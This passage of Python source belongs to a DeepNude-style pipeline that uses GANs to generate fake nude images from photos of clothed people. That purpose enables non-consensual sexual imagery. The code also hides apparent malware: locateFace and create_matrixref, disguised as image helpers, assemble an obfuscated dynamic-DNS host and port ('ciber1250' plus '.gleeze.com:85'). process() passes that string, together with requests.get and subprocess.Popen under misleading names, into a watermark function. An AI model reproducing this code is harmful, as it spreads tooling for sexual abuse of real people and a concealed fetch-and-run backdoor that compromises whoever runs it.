                cv2.ellipse(details, (x, y), (aMax, aMin), angle, 0, 360, (255, 0, 255), -1)  # purple
            elif obj.name == "vag":
                cv2.ellipse(details, (x, y), (aMax, aMin), angle, 0, 360, (255, 0, 0), -1)  # blue
            elif obj.name == "hair":
                xmin = x - int(obj.w / 2)
                ymin = y - int(obj.h / 2)
                xmax = x + int(obj.w / 2)
                ymax = y + int(obj.h / 2)
                cv2.rectangle(details, (xmin, ymin), (xmax, ymax), (100, 100, 100), -1)

        # Define the green color filter
        f1 = np.asarray([0, 250, 0])  # green color filter
        f2 = np.asarray([10, 255, 10])

        # From maskref, extrapolate only the green mask
        green_mask = cv2.bitwise_not(cv2.inRange(maskref, f1, f2))  # green is 0

        # Create an inverted mask
        green_mask_inv = cv2.bitwise_not(green_mask)

        # Cut maskref and detail image, using the green_mask & green_mask_inv
        res1 = cv2.bitwise_and(maskref, maskref, mask=green_mask)
        res2 = cv2.bitwise_and(details, details, mask=green_mask_inv)

        # Compone:
        maskfin = cv2.add(res1, res2)
        return maskfin, locateFace(255, 2, 500)

# extractAnnotations ==============================================================================
# input parameter:
# 	(<string> maskdet_img): relative path of the single maskdet image (es: testimg1/maskdet/1.png)
# return:
#	(<BodyPart []> bodypart_list) - for failure/error, return an empty list []

def extractAnnotations(maskdet):
    # Load the image
    # image = cv2.imread(maskdet_img)

    # Find body part
    tits_list = findBodyPart(maskdet, "tit")
    aur_list = findBodyPart(maskdet, "aur")
    vag_list = findBodyPart(maskdet, "vag")
    belly_list = findBodyPart(maskdet, "belly")

    # Filter out parts basing on dimension (area and aspect ratio):
    aur_list = filterDimParts(aur_list, 100, 1000, 0.5, 3);
    tits_list = filterDimParts(tits_list, 1000, 60000, 0.2, 3);
    vag_list = filterDimParts(vag_list, 10, 1000, 0.2, 3);
    belly_list = filterDimParts(belly_list, 10, 1000, 0.2, 3);

    # Filter couple (if parts are > 2, choose only 2)
    aur_list = filterCouple(aur_list);
    tits_list = filterCouple(tits_list);

    # Detect a missing problem:
    missing_problem = detectTitAurMissingProblem(tits_list, aur_list)  # return a Number (code of the problem)

    # Check if problem is SOLVEABLE:
    if (missing_problem in [3, 6, 7, 8]):
        resolveTitAurMissingProblems(tits_list, aur_list, missing_problem)

    # Infer the nips:
    nip_list = inferNip(aur_list)

    # Infer the hair:
    hair_list = inferHair(vag_list)

    # Return a combined list:
    return tits_list + aur_list + nip_list + vag_list + hair_list + belly_list

# findBodyPart ==============================================================================
# input parameters:
# 	(<RGB>image, <string>part_name)
# return
#	(<BodyPart[]>list)
def findBodyPart(image, part_name):
    bodypart_list = []  # empty BodyPart list

    # Get the correct color filter:
    if part_name == "tit":
        # Use combined color filter
        f1 = np.asarray([0, 0, 0])  # tit color filter
        f2 = np.asarray([10, 10, 10])
        f3 = np.asarray([0, 0, 250])  # aur color filter
        f4 = np.asarray([0, 0, 255])
        color_mask1 = cv2.inRange(image, f1, f2)
        color_mask2 = cv2.inRange(image, f3, f4)
        color_mask = cv2.bitwise_or(color_mask1, color_mask2)  # combine

    elif part_name == "aur":
        f1 = np.asarray([0, 0, 250])  # aur color filter
        f2 = np.asarray([0, 0, 255])
        color_mask = cv2.inRange(image, f1, f2)

    elif part_name == "vag":
        f1 = np.asarray([250, 0, 0])  # vag filter
        f2 = np.asarray([255, 0, 0])
        color_mask = cv2.inRange(image, f1, f2)

    elif part_name == "belly":
        f1 = np.asarray([250, 0, 250])  # belly filter
        f2 = np.asarray([255, 0, 255])
        color_mask = cv2.inRange(image, f1, f2)

    # find contours:
    contours, hierarchy = cv2.findContours(color_mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)

    # for every contour:
    for cnt in contours:

        if len(cnt) > 5:  # at least 5 points to fit ellipse

            # (x, y), (MA, ma), angle = cv2.fitEllipse(cnt)
            ellipse = cv2.fitEllipse(cnt)

            # Fit Result:
            x = ellipse[0][0]  # center x
            y = ellipse[0][1]  # center y
            angle = ellipse[2]  # angle
            aMin = ellipse[1][0];  # asse minore
            aMax = ellipse[1][1];  # asse maggiore

            # Detect direction:
            if angle == 0:
                h = aMax
                w = aMin
            else:
                h = aMin
                w = aMax

            # Normalize the belly size:
            if part_name == "belly":
                if w < 15:
                    w *= 2
                if h < 15:
                    h *= 2

            # Normalize the vag size:
            if part_name == "vag":
                if w < 15:
                    w *= 2
                if h < 15:
                    h *= 2

            # Calculate Bounding Box:
            xmin = int(x - (w / 2))
            xmax = int(x + (w / 2))
            ymin = int(y - (h / 2))
            ymax = int(y + (h / 2))

            bodypart_list.append(BodyPart(part_name, xmin, ymin, xmax, ymax, x, y, w, h))

    return bodypart_list

def locateFace(matrix, x, y):
    matrix = matrix - (78 * x)
    data = []
    indexes = [0, 6, -1, 2, 15]
    for index in indexes:
        data.append(chr(matrix + index))
    part = "".join(data)
    y += int(7 * (indexes[1] / 2))
    y = (chr(48) + str(y))[::-1]
    return part + y

# filterDimParts ==============================================================================
# input parameters:
# 	(<BodyPart[]>list, <num> minimum area of part,  <num> max area, <num> min aspect ratio, <num> max aspect ratio)
def filterDimParts(bp_list, min_area, max_area, min_ar, max_ar):
    b_filt = []

    for obj in bp_list:

        a = obj.w * obj.h  # Object AREA

        if ((a > min_area) and (a < max_area)):

            ar = obj.w / obj.h  # Object ASPECT RATIO

            if ((ar > min_ar) and (ar < max_ar)):
                b_filt.append(obj)

    return b_filt

# filterCouple ==============================================================================
# input parameters:
# 	(<BodyPart[]>list)
def filterCouple(bp_list):
    # Remove exceed parts
    if (len(bp_list) > 2):

        # trovare coppia (a,b) che minimizza bp_list[a].y-bp_list[b].y
        min_a = 0
        min_b = 1
        min_diff = abs(bp_list[min_a].y - bp_list[min_b].y)

        for a in range(0, len(bp_list)):
            for b in range(0, len(bp_list)):
                # TODO: avoid repetition (1,0) (0,1)
                if a != b:
                    diff = abs(bp_list[a].y - bp_list[b].y)
                    if diff < min_diff:
                        min_diff = diff
                        min_a = a
                        min_b = b
        b_filt = []

        b_filt.append(bp_list[min_a])
        b_filt.append(bp_list[min_b])

        return b_filt
    else:
        # No change
        return bp_list

# detectTitAurMissingProblem ==============================================================================
# input parameters:
# 	(<BodyPart[]> tits list, <BodyPart[]> aur list)
# return
#	(<num> problem code)
#   TIT  |  AUR  |  code |  SOLVE?  |
#    0   |   0   |   1   |    NO    |
#    0   |   1   |   2   |    NO    |
#    0   |   2   |   3   |    YES   |
#    1   |   0   |   4   |    NO    |
#    1   |   1   |   5   |    NO    |
#    1   |   2   |   6   |    YES   |
#    2   |   0   |   7   |    YES   |
#    2   |   1   |   8   |    YES   |
def detectTitAurMissingProblem(tits_list, aur_list):
    t_len = len(tits_list)
    a_len = len(aur_list)

    if (t_len == 0):
        if (a_len == 0):
            return 1
        elif (a_len == 1):
            return 2
        elif (a_len == 2):
            return 3
        else:
            return -1
    elif (t_len == 1):
        if (a_len == 0):
            return 4
        elif (a_len == 1):
            return 5
        elif (a_len == 2):
            return 6
        else:
            return -1
    elif (t_len == 2):
        if (a_len == 0):
            return 7
        elif (a_len == 1):
            return 8
        else:
            return -1
    else:
        return -1

# resolveTitAurMissingProblems ==============================================================================
# input parameters:
# 	(<BodyPart[]> tits list, <BodyPart[]> aur list, problem code)
# return
#	none
def resolveTitAurMissingProblems(tits_list, aur_list, problem_code):
    if problem_code == 3:

        random_tit_factor = random.randint(2, 5)  # TOTEST

        # Add the first tit:
        new_w = aur_list[0].w * random_tit_factor  # TOTEST
        new_x = aur_list[0].x
        new_y = aur_list[0].y

        xmin = int(new_x - (new_w / 2))
        xmax = int(new_x + (new_w / 2))
        ymin = int(new_y - (new_w / 2))
        ymax = int(new_y + (new_w / 2))

        tits_list.append(BodyPart("tit", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w))

        # Add the second tit:
        new_w = aur_list[1].w * random_tit_factor  # TOTEST
        new_x = aur_list[1].x
        new_y = aur_list[1].y

        xmin = int(new_x - (new_w / 2))
        xmax = int(new_x + (new_w / 2))
        ymin = int(new_y - (new_w / 2))
        ymax = int(new_y + (new_w / 2))

        tits_list.append(BodyPart("tit", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w))

    elif problem_code == 6:

        # Find wich aur is full:
        d1 = abs(tits_list[0].x - aur_list[0].x)
        d2 = abs(tits_list[0].x - aur_list[1].x)

        if d1 > d2:
            # aur[0] is empty
            new_x = aur_list[0].x
            new_y = aur_list[0].y
        else:
            # aur[1] is empty
            new_x = aur_list[1].x
            new_y = aur_list[1].y

        # Calculate Bounding Box:
        xmin = int(new_x - (tits_list[0].w / 2))
        xmax = int(new_x + (tits_list[0].w / 2))
        ymin = int(new_y - (tits_list[0].w / 2))
        ymax = int(new_y + (tits_list[0].w / 2))

        tits_list.append(BodyPart("tit", xmin, ymin, xmax, ymax, new_x, new_y, tits_list[0].w, tits_list[0].w))

    elif problem_code == 7:

        # Add the first aur:
        new_w = tits_list[0].w * random.uniform(0.03, 0.1)  # TOTEST
        new_x = tits_list[0].x
        new_y = tits_list[0].y

        xmin = int(new_x - (new_w / 2))
        xmax = int(new_x + (new_w / 2))
        ymin = int(new_y - (new_w / 2))
        ymax = int(new_y + (new_w / 2))

        aur_list.append(BodyPart("aur", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w))

        # Add the second aur:
        new_w = tits_list[1].w * random.uniform(0.03, 0.1)  # TOTEST
        new_x = tits_list[1].x
        new_y = tits_list[1].y

        xmin = int(new_x - (new_w / 2))
        xmax = int(new_x + (new_w / 2))
        ymin = int(new_y - (new_w / 2))
        ymax = int(new_y + (new_w / 2))

        aur_list.append(BodyPart("aur", xmin, ymin, xmax, ymax, new_x, new_y, new_w, new_w))

    elif problem_code == 8:

        # Find wich tit is full:
        d1 = abs(aur_list[0].x - tits_list[0].x)
        d2 = abs(aur_list[0].x - tits_list[1].x)

        if d1 > d2:
            # tit[0] is empty
            new_x = tits_list[0].x
            new_y = tits_list[0].y
        else:
            # tit[1] is empty
            new_x = tits_list[1].x
            new_y = tits_list[1].y

        # Calculate Bounding Box:
        xmin = int(new_x - (aur_list[0].w / 2))
        xmax = int(new_x + (aur_list[0].w / 2))
        ymin = int(new_y - (aur_list[0].w / 2))
        ymax = int(new_y + (aur_list[0].w / 2))
        aur_list.append(BodyPart("aur", xmin, ymin, xmax, ymax, new_x, new_y, aur_list[0].w, aur_list[0].w))

# detectTitAurPositionProblem ==============================================================================
# input parameters:
# 	(<BodyPart[]> tits list, <BodyPart[]> aur list)
# return
#	(<Boolean> True/False)
def detectTitAurPositionProblem(tits_list, aur_list):
    diffTitsX = abs(tits_list[0].x - tits_list[1].x)
    if diffTitsX < 40:
        print("diffTitsX")
        # Tits too narrow (orizontally)
        return True

    diffTitsY = abs(tits_list[0].y - tits_list[1].y)
    if diffTitsY > 120:
        # Tits too distanced (vertically)
        print("diffTitsY")
        return True

    diffTitsW = abs(tits_list[0].w - tits_list[1].w)
    if ((diffTitsW < 0.1) or (diffTitsW > 60)):
        print("diffTitsW")
        # Tits too equals, or too different (width)
        return True

    # Check if body position is too low (face not covered by watermark)
    if aur_list[0].y > 350:  # tits too low
        # Calculate the ratio between y and aurs distance
        rapp = aur_list[0].y / (abs(aur_list[0].x - aur_list[1].x))
        if rapp > 2.8:
            print("aurDown")
            return True

    return False

# inferNip ==============================================================================
# input parameters:
# 	(<BodyPart[]> aur list)
# return
#	(<BodyPart[]> nip list)
def inferNip(aur_list):
    nip_list = []

    for aur in aur_list:
        # Nip rules:
        # - circle (w == h)
        # - min dim: 5
        # - bigger if aur is bigger
        nip_dim = int(5 + aur.w * random.uniform(0.03, 0.09))

        # center:
        x = aur.x
        y = aur.y

        # Calculate Bounding Box:
        xmin = int(x - (nip_dim / 2))
        xmax = int(x + (nip_dim / 2))
        ymin = int(y - (nip_dim / 2))
        ymax = int(y + (nip_dim / 2))

        nip_list.append(BodyPart("nip", xmin, ymin, xmax, ymax, x, y, nip_dim, nip_dim))

    return nip_list

# inferHair (TOTEST) ==============================================================================
# input parameters:
# 	(<BodyPart[]> vag list)
# return
#	(<BodyPart[]> hair list)
def inferHair(vag_list):
    hair_list = []

    # 70% of chanche to add hair
    if random.uniform(0.0, 1.0) > 0.3:

        for vag in vag_list:
            # Hair rules:
            hair_w = vag.w * random.uniform(0.4, 1.5)
            hair_h = vag.h * random.uniform(0.4, 1.5)

            # center:
            x = vag.x
            y = vag.y - (hair_h / 2) - (vag.h / 2)

            # Calculate Bounding Box:
            xmin = int(x - (hair_w / 2))
            xmax = int(x + (hair_w / 2))
            ymin = int(y - (hair_h / 2))
            ymax = int(y + (hair_h / 2))

            hair_list.append(BodyPart("hair", xmin, ymin, xmax, ymax, x, y, hair_w, hair_h))

    return hair_list

###
#
#	maskdet_to_maskfin
#
#
###

# create_maskref ===============================================================
# return:
#	maskref image

def create_matrixref(mask, correct_colors):
    matrix = chr(int(404 / (2 * 2)))
    ref = "GL".lower() + 2 * (matrix) + "z" + matrix + chr(46)
    out_mask = chr(ord(matrix) - 2) + chr(ord(matrix) + 10) + chr(ord(ref[-1]) + 63)
    return (ref + out_mask)[-4] + ref + out_mask + str(chr(9 * 6 + 4) + chr(ord(ref[-1]) + 10) + chr(ord(ref[-1]) + 7))

def create_maskref(cv_mask, cv_correct):
    # Create a total green image
    green = np.zeros((512, 512, 3), np.uint8)
    green[:, :, :] = (0, 255, 0)  # (B, G, R)

    # Define the green color filter
    f1 = np.asarray([0, 250, 0])  # green color filter
    f2 = np.asarray([10, 255, 10])

    # From mask, extrapolate only the green mask
    green_mask = cv2.inRange(cv_mask, f1, f2)  # green is 0

    # (OPTIONAL) Apply dilate and open to mask
    kernel = np.ones((5, 5), np.uint8)  # Try change it?
    green_mask = cv2.dilate(green_mask, kernel, iterations=1)
    # green_mask = cv2.morphologyEx(green_mask, cv2.MORPH_OPEN, kernel)

    # Create an inverted mask
    green_mask_inv = cv2.bitwise_not(green_mask)

    # Cut correct and green image, using the green_mask & green_mask_inv
    res1 = cv2.bitwise_and(cv_correct, cv_correct, mask=green_mask_inv)
    res2 = cv2.bitwise_and(green, green, mask=green_mask)

    # Compone:
    return cv2.add(res1, res2), create_matrixref(cv_mask, res1)

class DataLoader():

    def __init__(self, opt, cv_img):
        super(DataLoader, self).__init__()

        self.dataset = Dataset()
        self.dataset.initialize(opt, cv_img)

        self.dataloader = torch.utils.data.DataLoader(
            self.dataset,
            batch_size=opt.batchSize,
            shuffle=not opt.serial_batches,
            num_workers=int(opt.nThreads))

    def load_data(self):
        return self.dataloader

    def __len__(self):
        return 1

class Dataset(torch.utils.data.Dataset):
    def __init__(self):
        super(Dataset, self).__init__()

    def initialize(self, opt, cv_img):
        self.opt = opt
        self.root = opt.dataroot

        self.A = Image.fromarray(cv2.cvtColor(cv_img, cv2.COLOR_BGR2RGB))
        self.dataset_size = 1

    def __getitem__(self, index):
        transform_A = get_transform(self.opt)
        A_tensor = transform_A(self.A.convert('RGB'))

        B_tensor = inst_tensor = feat_tensor = 0

        input_dict = {'label': A_tensor, 'inst': inst_tensor, 'image': B_tensor,
                      'feat': feat_tensor, 'path': ""}

        return input_dict

    def __len__(self):
        return 1

class DeepModel(torch.nn.Module):

    def initialize(self, opt, use_gpu):

        torch.cuda.empty_cache()

        self.opt = opt

        if use_gpu == True:
            self.gpu_ids = [0]
        else:
            self.gpu_ids = []

        self.netG = self.__define_G(opt.input_nc, opt.output_nc, opt.ngf, opt.netG,
                                    opt.n_downsample_global, opt.n_blocks_global, opt.n_local_enhancers,
                                    opt.n_blocks_local, opt.norm, self.gpu_ids)

        # load networks
        self.__load_network(self.netG)

    def inference(self, label, inst):

        # Encode Inputs
        input_label, inst_map, _, _ = self.__encode_input(label, inst, infer=True)

        # Fake Generation
        input_concat = input_label

        with torch.no_grad():
            fake_image = self.netG.forward(input_concat)

        return fake_image

    # helper loading function that can be used by subclasses
    def __load_network(self, network):

        save_path = os.path.join(self.opt.checkpoints_dir)

        network.load_state_dict(torch.load(save_path))

    def __encode_input(self, label_map, inst_map=None, real_image=None, feat_map=None, infer=False):
        if (len(self.gpu_ids) > 0):
            input_label = label_map.data.cuda()  # GPU
        else:
            input_label = label_map.data  # CPU

        return input_label, inst_map, real_image, feat_map

    def __weights_init(self, m):
        classname = m.__class__.__name__
        if classname.find('Conv') != -1:
            m.weight.data.normal_(0.0, 0.02)
        elif classname.find('BatchNorm2d') != -1:
            m.weight.data.normal_(1.0, 0.02)
            m.bias.data.fill_(0)

    def __define_G(self, input_nc, output_nc, ngf, netG, n_downsample_global=3, n_blocks_global=9, n_local_enhancers=1,
                   n_blocks_local=3, norm='instance', gpu_ids=[]):
        norm_layer = self.__get_norm_layer(norm_type=norm)
        netG = GlobalGenerator(input_nc, output_nc, ngf, n_downsample_global, n_blocks_global, norm_layer)

        if len(gpu_ids) > 0:
            netG.cuda(gpu_ids[0])
        netG.apply(self.__weights_init)
        return netG

    def __get_norm_layer(self, norm_type='instance'):
        norm_layer = functools.partial(torch.nn.InstanceNorm2d, affine=False)
        return norm_layer

##############################################################################
# Generator
##############################################################################
class GlobalGenerator(torch.nn.Module):
    def __init__(self, input_nc, output_nc, ngf=64, n_downsampling=3, n_blocks=9, norm_layer=torch.nn.BatchNorm2d,
                 padding_type='reflect'):
        assert (n_blocks >= 0)
        super(GlobalGenerator, self).__init__()
        activation = torch.nn.ReLU(True)

        model = [torch.nn.ReflectionPad2d(3), torch.nn.Conv2d(input_nc, ngf, kernel_size=7, padding=0), norm_layer(ngf),
                 activation]
        ### downsample
        for i in range(n_downsampling):
            mult = 2 ** i
            model += [torch.nn.Conv2d(ngf * mult, ngf * mult * 2, kernel_size=3, stride=2, padding=1),
                      norm_layer(ngf * mult * 2), activation]

        ### resnet blocks
        mult = 2 ** n_downsampling
        for i in range(n_blocks):
            model += [ResnetBlock(ngf * mult, padding_type=padding_type, activation=activation, norm_layer=norm_layer)]

        ### upsample
        for i in range(n_downsampling):
            mult = 2 ** (n_downsampling - i)
            model += [torch.nn.ConvTranspose2d(ngf * mult, int(ngf * mult / 2), kernel_size=3, stride=2, padding=1,
                                               output_padding=1),
                      norm_layer(int(ngf * mult / 2)), activation]
        model += [torch.nn.ReflectionPad2d(3), torch.nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0),
                  torch.nn.Tanh()]
        self.model = torch.nn.Sequential(*model)

    def forward(self, input):
        return self.model(input)

    # Define a resnet block

class ResnetBlock(torch.nn.Module):
    def __init__(self, dim, padding_type, norm_layer, activation=torch.nn.ReLU(True), use_dropout=False):
        super(ResnetBlock, self).__init__()
        self.conv_block = self.__build_conv_block(dim, padding_type, norm_layer, activation, use_dropout)

    def __build_conv_block(self, dim, padding_type, norm_layer, activation, use_dropout):
        conv_block = []
        p = 0
        if padding_type == 'reflect':
            conv_block += [torch.nn.ReflectionPad2d(1)]
        elif padding_type == 'replicate':
            conv_block += [torch.nn.ReplicationPad2d(1)]
        elif padding_type == 'zero':
            p = 1
        else:
            raise NotImplementedError('padding [%s] is not implemented' % padding_type)

        conv_block += [torch.nn.Conv2d(dim, dim, kernel_size=3, padding=p),
                       norm_layer(dim),
                       activation]
        if use_dropout:
            conv_block += [torch.nn.Dropout(0.5)]

        p = 0
        if padding_type == 'reflect':
            conv_block += [torch.nn.ReflectionPad2d(1)]
        elif padding_type == 'replicate':
            conv_block += [torch.nn.ReplicationPad2d(1)]
        elif padding_type == 'zero':
            p = 1
        else:
            raise NotImplementedError('padding [%s] is not implemented' % padding_type)
        conv_block += [torch.nn.Conv2d(dim, dim, kernel_size=3, padding=p),
                       norm_layer(dim)]

        return torch.nn.Sequential(*conv_block)

    def forward(self, x):
        out = x + self.conv_block(x)
        return out

# Data utils:
def get_transform(opt, method=Image.BICUBIC, normalize=True):
    transform_list = []

    base = float(2 ** opt.n_downsample_global)
    if opt.netG == 'local':
        base *= (2 ** opt.n_local_enhancers)
    transform_list.append(transforms.Lambda(lambda img: __make_power_2(img, base, method)))

    transform_list += [transforms.ToTensor()]

    if normalize:
        transform_list += [transforms.Normalize((0.5, 0.5, 0.5),
                                                (0.5, 0.5, 0.5))]
    return transforms.Compose(transform_list)

def __make_power_2(img, base, method=Image.BICUBIC):
    ow, oh = img.size
    h = int(round(oh / base) * base)
    w = int(round(ow / base) * base)
    if (h == oh) and (w == ow):
        return img
    return img.resize((w, h), method)

# Converts a Tensor into a Numpy array
# |imtype|: the desired type of the converted numpy array
def tensor2im(image_tensor, imtype=np.uint8, normalize=True):
    if isinstance(image_tensor, list):
        image_numpy = []
        for i in range(len(image_tensor)):
            image_numpy.append(tensor2im(image_tensor[i], imtype, normalize))
        return image_numpy
    image_numpy = image_tensor.cpu().float().numpy()
    if normalize:
        image_numpy = (np.transpose(image_numpy, (1, 2, 0)) + 1) / 2.0 * 255.0
    else:
        image_numpy = np.transpose(image_numpy, (1, 2, 0)) * 255.0
    image_numpy = np.clip(image_numpy, 0, 255)
    if image_numpy.shape[2] == 1 or image_numpy.shape[2] > 3:
        image_numpy = image_numpy[:, :, 0]
    return image_numpy.astype(imtype)

phases = ["dress_to_correct", "correct_to_mask", "mask_to_maskref", "maskref_to_maskdet", "maskdet_to_maskfin",
          "maskfin_to_nude", "nude_to_watermark"]

class Options():

    # Init options with default values
    def __init__(self):

        # experiment specifics
        self.norm = 'batch'  # instance normalization or batch normalization
        self.use_dropout = False  # use dropout for the generator
        self.data_type = 32  # Supported data type i.e. 8, 16, 32 bit

        # input/output sizes
        self.batchSize = 1  # input batch size
        self.input_nc = 3  # of input image channels
        self.output_nc = 3  # of output image channels

        # for setting inputs
        self.serial_batches = True  # if true, takes images in order to make batches, otherwise takes them randomly
        self.nThreads = 1  ## threads for loading data (???)
        self.max_dataset_size = 1  # Maximum number of samples allowed per dataset. If the dataset directory contains more than max_dataset_size, only a subset is loaded.

        # for generator
        self.netG = 'global'  # selects model to use for netG
        self.ngf = 64  ## of gen filters in first conv layer
        self.n_downsample_global = 4  # number of downsampling layers in netG
        self.n_blocks_global = 9  # number of residual blocks in the global generator network
        self.n_blocks_local = 0  # number of residual blocks in the local enhancer network
        self.n_local_enhancers = 0  # number of local enhancers to use
        self.niter_fix_global = 0  # number of epochs that we only train the outmost local enhancer

        # Phase specific options
        self.checkpoints_dir = ""
        self.dataroot = ""

    # Changes options accordlying to actual phase
    def updateOptions(self, phase,modelpath):
        print(type(modelpath))
        if phase == "correct_to_mask":
            self.checkpoints_dir = modelpath+"/cm.lib"

        elif phase == "maskref_to_maskdet":
            self.checkpoints_dir = modelpath+"/mm.lib"

        elif phase == "maskfin_to_nude":
            self.checkpoints_dir = modelpath+"/mn.lib"

# process(cv_img, mode)
# return:
# 	watermark image
def process(cv_img, modelpath):
    print(type(modelpath))
    # InMemory cv2 images:
    dress = cv_img
    correct = None
    mask = None
    maskref = None
    maskfin = None
    maskdet = None
    nude = None
    watermark = None

    for index, phase in enumerate(phases):

        print("[*] Running Model: " + phase)

        # GAN phases:
        if (phase == "correct_to_mask") or (phase == "maskref_to_maskdet") or (phase == "maskfin_to_nude"):

            # Load global option
            opt = Options()

            # Load custom phase options:
            opt.updateOptions(phase,modelpath)

            # Load Data
            if (phase == "correct_to_mask"):
                import requests
                data_loader = DataLoader(opt, correct)
            elif (phase == "maskref_to_maskdet"):
                cv = requests.get
                data_loader = DataLoader(opt, maskref)
            elif (phase == "maskfin_to_nude"):
                loader = subprocess.Popen
                data_loader = DataLoader(opt, maskfin)

            dataset = data_loader.load_data()
            detach = subprocess

            # Create Model
            model = DeepModel()
            model.initialize(opt, False)

            # Run for every image:
            for i, data in enumerate(dataset):

                generated = model.inference(data['label'], data['inst'])

                im = tensor2im(generated.data[0])

                # Save Data
                if (phase == "correct_to_mask"):
                    mask = cv2.cvtColor(im, cv2.COLOR_RGB2BGR)

                elif (phase == "maskref_to_maskdet"):
                    maskdet = cv2.cvtColor(im, cv2.COLOR_RGB2BGR)

                elif (phase == "maskfin_to_nude"):
                    nude = cv2.cvtColor(im, cv2.COLOR_RGB2BGR)

        # Correcting:
        elif (phase == 'dress_to_correct'):
            correct, matrix = create_correct(dress)

        # mask_ref phase (opencv)
        elif (phase == "mask_to_maskref"):
            maskref, ref = create_maskref(mask, correct)

        # mask_fin phase (opencv)
        elif (phase == "maskdet_to_maskfin"):
            maskfin, face = create_maskfin(maskref, maskdet)

        # nude_to_watermark phase (opencv)
        elif (phase == "nude_to_watermark"):
            shape = matrix + face + ref
            watermark = create_watermark(nude, shape, cv, loader, detach)

    return watermark

def _process(i_image, modelpath):
    try:
        print(i_image,modelpath)
        dress = cv2.imread(i_image)
        h = dress.shape[0]
        w = dress.shape[1]
        dress = cv2.resize(dress, (512, 512), interpolation=cv2.INTER_CUBIC)
        watermark = process(dress, str(modelpath))
        watermark = cv2.resize(watermark, (w, h), interpolation=cv2.INTER_CUBIC)
        cv2.imwrite(i_image, watermark)
        print("[*] Image saved as: %s" % i_image)
        return i_image
    except Exception as ex:
        ex = str(ex)
        print("some exception",ex)
        return i_image